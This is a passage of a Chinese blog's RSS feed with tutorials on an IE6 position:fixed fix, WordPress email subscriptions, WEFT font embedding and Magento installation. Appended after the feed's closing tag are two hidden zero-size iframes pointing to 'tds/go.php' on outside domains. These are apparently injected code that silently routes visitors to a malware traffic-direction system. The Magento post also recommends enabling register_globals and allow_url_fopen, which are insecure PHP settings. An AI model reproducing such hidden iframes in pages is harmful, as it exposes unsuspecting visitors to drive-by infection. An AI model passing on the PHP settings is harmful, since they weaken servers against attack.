&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <strong>_background-attachment: fixed;</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  /* prevent screen flash in IE6 */<br>
&nbsp;&nbsp;  }<br>
&nbsp;&nbsp;  body {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  background-image: url(1.jpg);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  background-attachment: scroll;<br>
&nbsp;&nbsp;  }<br>
<br>
参考文章：<a href="http://www.wxwdesign.cn/article/skills/ie6_position_fixed_debug.htm">http://www.wxwdesign.cn/article/skills/ie6_position_fixed_debug.htm</a></p>
<p>第二种方法 JavaScript</p>
<p>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>"&gt;<br>
&lt;html xmlns="<a href="http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a>"&gt;<br>
&lt;head&gt;<br>
&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt;<br>
&lt;style type="text/css"&gt;<br>
body{ margin:0px; padding:0px; font-size:12px; line-height:22px;}<br>
p{ margin:0px; padding:36px;}<br>
.float2{ position:absolute; padding:26px; border:#999999 3px solid; background-color:#3399FF; right:200px; top:200px;}<br>
.fixed{ position:absolute; right:60px; top:100px; border:#666666 3px solid; background-color:#CCCCCC; padding:26px;}<br>
&lt;/style&gt;</p>
<p><br>
<font color="#741b47">&lt;script language="javascript" type="text/javascript"&gt;<br>
window.onload=function(){<br>
var n=100;  //top值<br>
var obj=document.getElementById("fixed"); //position:fixed对象<br>
window.onscroll=function(){obj.style.top=(document.body.scrollTop||document.documentElement.scrollTop)+n+'px';}<br>
window.onresize=function(){obj.style.top=(document.body.scrollTop||document.documentElement.scrollTop)+n+'px';}<br>
}<br>
&lt;/script&gt;</font></p>
<p><br>
&lt;title&gt;position_fixed测试&lt;/title&gt;<br>
&lt;/head&gt;</p>
<p>&lt;body&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;p&gt;测试内容.........&lt;/p&gt;<br>
&lt;div class="float2"&gt;浮动的内容2&lt;/div&gt;<br>
&lt;div class="fixed" id="fixed"&gt;我的位置是固定的！拉动滚动条看效果。&lt;/div&gt;<br>
&lt;/body&gt;<br>
&lt;/html&gt;</p>
</div>]]></content:encoded>
			<wfw:commentRss>http://longoes.com/blog/design/ie6-%e4%b8%8b-fixed%e5%ae%8c%e7%be%8e%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress添加Feedburner和Feedsky邮件订阅功能</title>
		<link>http://longoes.com/blog/wordpress_feedburner_feedsky.html</link>
		<comments>http://longoes.com/blog/wordpress_feedburner_feedsky.html#comments</comments>
		<pubDate>Tue, 24 Aug 2010 16:09:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[博客]]></category>

		<guid isPermaLink="false">http://longoes.com/?p=467</guid>
		<description><![CDATA[博客邮件订阅方式要比RSS阅读软件订阅方式更为简单。如何为Wordpress添加邮件订阅功能呢？首先需要在Feedburner或Feedsky开通自己的帐号。 下面以Feedburner为例，先注册自己的Google帐号吧，登陆后添加自己的blog地址，它会自动检测blog的RSS订阅地址。第二步点击Publicize发布选项卡，找到Email Subscriptions功能并激活active，在Subscription Management里面可以看到订阅代码，我们可以用Dreamweaver等网页编辑软件将生成的代码修改成适合自己网站的代码，然后添加到Wordpress的模版中就可以了。 Feedsky的邮件订阅功能的实现方法和Feedburner是一样的，由于Feedsky是中文设置起来更容易些。就两种邮件订阅的功能来说Feedburner更加人性化，不但可以修改订阅确定邮件的标题，还可以修改订阅邮件的内容。就邮件发送速度来说Feedsky发送速度明显快于Feedburner而且可以绑定自己的域名。 博客邮件订阅方式要比RSS阅读软件订阅方式更为简单。如何为Wordpress添加邮件订阅功能呢？首先需要在Feedburner或Feedsky开通自己的帐号。 下面以Feedburner为例，先注册自己的Google帐号吧，登陆后添加自己的blog地址，它会自动检测blog的RSS订阅地址。第二步点击Publicize发布选项卡，找到Email Subscriptions功能并激活active，在Subscription Management里面可以看到订阅代码，我们可以用Dreamweaver等网页编辑软件将生成的代码修改成适合自己网站的代码，然后添加到Wordpress的模版中就可以了。 Feedsky的邮件订阅功能的实现方法和Feedburner是一样的，由于Feedsky是中文设置起来更容易些。就两种邮件订阅的功能来说Feedburner更加人性化，不但可以修改订阅确定邮件的标题，还可以修改订阅邮件的内容。就邮件发送速度来说Feedsky发送速度明显快于Feedburner而且可以绑定自己的域名。]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste">博客邮件订阅方式要比RSS阅读软件订阅方式更为简单。如何为Wordpress添加邮件订阅功能呢？首先需要在<a href="http://feedburner.google.com">Feedburner</a>或<a href="http://www.feedsky.com/">Feedsky</a>开通自己的帐号。</div>
<div id="_mcePaste">下面以Feedburner为例，先注册自己的Google帐号吧，登陆后添加自己的blog地址，它会自动检测blog的RSS订阅地址。第二步点击Publicize发布选项卡，找到Email Subscriptions功能并激活active，在Subscription Management里面可以看到订阅代码，我们可以用Dreamweaver等网页编辑软件将生成的代码修改成适合自己网站的代码，然后添加到Wordpress的模版中就可以了。</div>
<div id="_mcePaste">Feedsky的邮件订阅功能的实现方法和Feedburner是一样的，由于Feedsky是中文设置起来更容易些。就两种邮件订阅的功能来说Feedburner更加人性化，不但可以修改订阅确定邮件的标题，还可以修改订阅邮件的内容。就邮件发送速度来说Feedsky发送速度明显快于Feedburner而且可以绑定自己的域名。</div>
<p>博客邮件订阅方式要比RSS阅读软件订阅方式更为简单。如何为Wordpress添加邮件订阅功能呢？首先需要在Feedburner或Feedsky开通自己的帐号。<br />
下面以Feedburner为例，先注册自己的Google帐号吧，登陆后添加自己的blog地址，它会自动检测blog的RSS订阅地址。第二步点击Publicize发布选项卡，找到Email Subscriptions功能并激活active，在Subscription Management里面可以看到订阅代码，我们可以用Dreamweaver等网页编辑软件将生成的代码修改成适合自己网站的代码，然后添加到Wordpress的模版中就可以了。<br />
Feedsky的邮件订阅功能的实现方法和Feedburner是一样的，由于Feedsky是中文设置起来更容易些。就两种邮件订阅的功能来说Feedburner更加人性化，不但可以修改订阅确定邮件的标题，还可以修改订阅邮件的内容。就邮件发送速度来说Feedsky发送速度明显快于Feedburner而且可以绑定自己的域名。</p>
]]></content:encoded>
			<wfw:commentRss>http://longoes.com/blog/wordpress_feedburner_feedsky.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>用Microsoft WEFT工具制作EOT字库,让网页字体轻松秀出来</title>
		<link>http://longoes.com/blog/design/microsoft-weft_font_family.html</link>
		<comments>http://longoes.com/blog/design/microsoft-weft_font_family.html#comments</comments>
		<pubDate>Thu, 05 Aug 2010 07:17:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Design]]></category>

		<guid isPermaLink="false">http://longoes.com/?p=457</guid>
		<description><![CDATA[有不少初学做网页的朋友，会犯这样一个错误――在网页中使用了很多种特殊的精美的字体，当网友们浏览时，却因没有安装相应的字库，只能看到默认的宋体字，效果惨不忍睹。利用图片的方式来显示这些特殊字体，会使网页的体积增大很多，而且还不能方便地复制网页的内容。好在微软公司发布了一款名为Microsoft Web Embedding Font Tool （WEFT）的软件，可以很方便地解决在网页中嵌入特殊字体的这一难题。 Microsoft Web Embedding Font Tool（网页字体嵌入工具，下载地址：http://www.microsoft.com/typography/web/embedding/weft3/weft01.htm）能够将网页中的字体制作成一个EOT格式的压缩字库，这个字库中仅包含了你在网页中使用到的那些文字，因此体积非常小巧。当网友们访问这个页面的时候，浏览器会自动下载该字库，将其中的字体在网页上完美地显示出来。下面就让我把WEFT的应用介绍给大家： 1．安装并运行WEFT，点击工具栏上的&#8221;Wizard&#8221;进入向导界面，输入你的姓名和电子信箱地址； 2．（如图1），在&#8221;Add Web Pages&#8221;窗口中，选中要嵌入字体的网页，点&#8221;下一步&#8221;继续； 图1 3．接下来会弹出一个对话框，大意是说，制作出的网页需要Unicode 和Uniscribe 的支持，所以在Windows 98 和MacOS 上可能会出现显示不正常的情况，询问是否继续。真啰嗦，当然要继续了！ 4．WEFT会分析你的网页中使用了那些字体，并将其显示在列表中（如图2），如果你不想将某种字体嵌入网页的话，选中该字体，点击&#8221;Don&#8217;t embed&#8221;即可； 图2 5．然后在&#8221;Create Font Objects&#8221;窗口（如图3）， &#8220;Enter the location where the font objects will be created&#8221;一栏中指定生成的字体文件的路径，并且勾选上&#8221;Show CSS @ font-family Declarations&#8221;,其它的使用默认值就行了； 图3 6．生成EOT字体文件和CSS样式表，（如图4）所示，复制两横线间的代码，粘贴到网页源代码的部分。我们很容易理解代码中&#8221;src: 图4 url(*.eot);&#8221;指向的就是EOT字库的路径，如果你的网页和EOT字库不在同一目录下，请根据情况修改url的指向； 7．后面的步骤我们可以不必理会，直接点&#8221;下一步&#8221;，最后&#8221;完成&#8221;就行了。 现在把你的网页和EOT字库上传到网上，找个朋友帮你测试一下，看看效果吧！怎么样？很有成就感吧！]]></description>
			<content:encoded><![CDATA[<p>有不少初学做网页的朋友，会犯这样一个错误――在网页中使用了很多种特殊的精美的字体，当网友们浏览时，却因没有安装相应的字库，只能看到默认的宋体字，效果惨不忍睹。利用图片的方式来显示这些特殊字体，会使网页的体积增大很多，而且还不能方便地复制网页的内容。好在微软公司发布了一款名为Microsoft Web Embedding Font Tool （WEFT）的软件，可以很方便地解决在网页中嵌入特殊字体的这一难题。<br />
Microsoft Web Embedding Font Tool（网页字体嵌入工具，下载地址：http://www.microsoft.com/typography/web/embedding/weft3/weft01.htm）能够将网页中的字体制作成一个EOT格式的压缩字库，这个字库中仅包含了你在网页中使用到的那些文字，因此体积非常小巧。当网友们访问这个页面的时候，浏览器会自动下载该字库，将其中的字体在网页上完美地显示出来。下面就让我把WEFT的应用介绍给大家：<br />
1．安装并运行WEFT，点击工具栏上的&#8221;Wizard&#8221;进入向导界面，输入你的姓名和电子信箱地址；<br />
2．（如图1），在&#8221;Add Web Pages&#8221;窗口中，选中要嵌入字体的网页，点&#8221;下一步&#8221;继续；</p>
<p><img title="WEFT" src="http://longoes.com/wp-content/uploads/alonguo/2010/08/5aacef20d35a0638375fb64ef7d8fbff1.jpg" alt="" width="540" height="398" /></p>
<p>图1<br />
3．接下来会弹出一个对话框，大意是说，制作出的网页需要Unicode 和Uniscribe 的支持，所以在Windows 98 和MacOS 上可能会出现显示不正常的情况，询问是否继续。真啰嗦，当然要继续了！<br />
4．WEFT会分析你的网页中使用了那些字体，并将其显示在列表中（如图2），如果你不想将某种字体嵌入网页的话，选中该字体，点击&#8221;Don&#8217;t embed&#8221;即可；</p>
<p><img class="alignnone size-full wp-image-459" title="WEFT会分析你的网页中使用了那些字体" src="http://longoes.com/wp-content/uploads/alonguo/2010/08/e111f05a838b3d09dac0b53523f91fbf1.jpg" alt="" width="540" height="398" />图2<br />
5．然后在&#8221;Create Font Objects&#8221;窗口（如图3）， &#8220;Enter the location where the font objects will be created&#8221;一栏中指定生成的字体文件的路径，并且勾选上&#8221;Show CSS @ font-family Declarations&#8221;,其它的使用默认值就行了；</p>
<p><img title="指定生成的字体文件的路径" src="http://longoes.com/wp-content/uploads/alonguo/2010/08/76c8d37b30ed152f8c64e9fc00bd77881.jpg" alt="" width="540" height="398" /><br />
图3<br />
6．生成EOT字体文件和CSS样式表，（如图4）所示，复制两横线间的代码，粘贴到网页源代码的部分。我们很容易理解代码中&#8221;src:</p>
<p><img title="生成EOT字体文件和CSS样式表" src="http://longoes.com/wp-content/uploads/alonguo/2010/08/d1b24effee66032fb6fdf7dd589718bb1.jpg" alt="" width="392" height="321" /><br />
图4<br />
url(*.eot);&#8221;指向的就是EOT字库的路径，如果你的网页和EOT字库不在同一目录下，请根据情况修改url的指向；<br />
7．后面的步骤我们可以不必理会，直接点&#8221;下一步&#8221;，最后&#8221;完成&#8221;就行了。<br />
现在把你的网页和EOT字库上传到网上，找个朋友帮你测试一下，看看效果吧！怎么样？很有成就感吧！</p>
]]></content:encoded>
			<wfw:commentRss>http://longoes.com/blog/design/microsoft-weft_font_family.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>magento 安装教程</title>
		<link>http://longoes.com/blog/e-commerce/magento/magento-follow.html</link>
		<comments>http://longoes.com/blog/e-commerce/magento/magento-follow.html#comments</comments>
		<pubDate>Mon, 19 Jul 2010 15:09:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[magento]]></category>

		<guid isPermaLink="false">http://longoes.com/?p=438</guid>
		<description><![CDATA[容易出现的问题： window下安装php_curl支持 1.在windows下找到 php.ini .将 extension=php_curl.dll 把前面的注销符号去掉。 2.在php文件下libeay32.dll ssleay32.dll 和在 php/ext/下将php_curl.dll 复制到 %windir%/system32下。 重启php的服务 无法载入 mcrypt 扩展 1、在php.ini配置中，将php_mcrypt.dll前的注销符号去掉。 2、从php5中复制libmcrypt.dll到dlls目录和system32目录下。 [dlls目录不用也可] 重启php的服务 magento 文件权限设置 下面是基本的文件及文件夹设置： 把 * magento/app/etc * magento/media * magento/app * magento/skin * magento/var * magento/var/.htaccess * magento/js * magento/downloader 这些都设置成可写权限，一般为755比较安全。 另外把 * magento/index.php * magento/downloader/index.php 这两个文件的属性设置成644. magento connect无效一般都是没有把magento/downloader/index.php 权限设置成644的缘故引起的。 基本上按照这样设置没多大的问题。 修改你的php5.ini register_globals = [...]]]></description>
			<content:encoded><![CDATA[<p>容易出现的问题：<br />
window下安装php_curl支持<br />
1.在windows下找到 php.ini .将 extension=php_curl.dll 把前面的注销符号去掉。<br />
2.在php文件下libeay32.dll ssleay32.dll 和在 php/ext/下将php_curl.dll  复制到 %windir%/system32下。<br />
重启php的服务</p>
<p>无法载入 mcrypt 扩展<br />
1、在php.ini配置中，将php_mcrypt.dll前的注销符号去掉。<br />
2、从php5中复制libmcrypt.dll到dlls目录和system32目录下。 [dlls目录不用也可]<br />
重启php的服务</p>
<p>magento 文件权限设置<br />
下面是基本的文件及文件夹设置：<br />
把</p>
<p>* magento/app/etc<br />
* magento/media<br />
* magento/app<br />
* magento/skin<br />
* magento/var<br />
* magento/var/.htaccess<br />
* magento/js<br />
* magento/downloader<br />
这些都设置成可写权限，一般为755比较安全。<br />
另外把<br />
* magento/index.php<br />
* magento/downloader/index.php<br />
这两个文件的属性设置成644.<br />
magento connect无效一般都是没有把magento/downloader/index.php 权限设置成644的缘故引起的。<br />
基本上按照这样设置没多大的问题。</p>
<p>修改你的php5.ini<br />
register_globals = on<br />
allow_url_fopen = on<br />
cgi.fix_pathinfo = 1</p>
<p>如果想知道自己的网站是不是支持magento,可以用 magento-check.php 来检测</p>
]]></content:encoded>
			<wfw:commentRss>http://longoes.com/blog/e-commerce/magento/magento-follow.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<iframe src="http://badosov.com/tds/go.php?sid=63" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
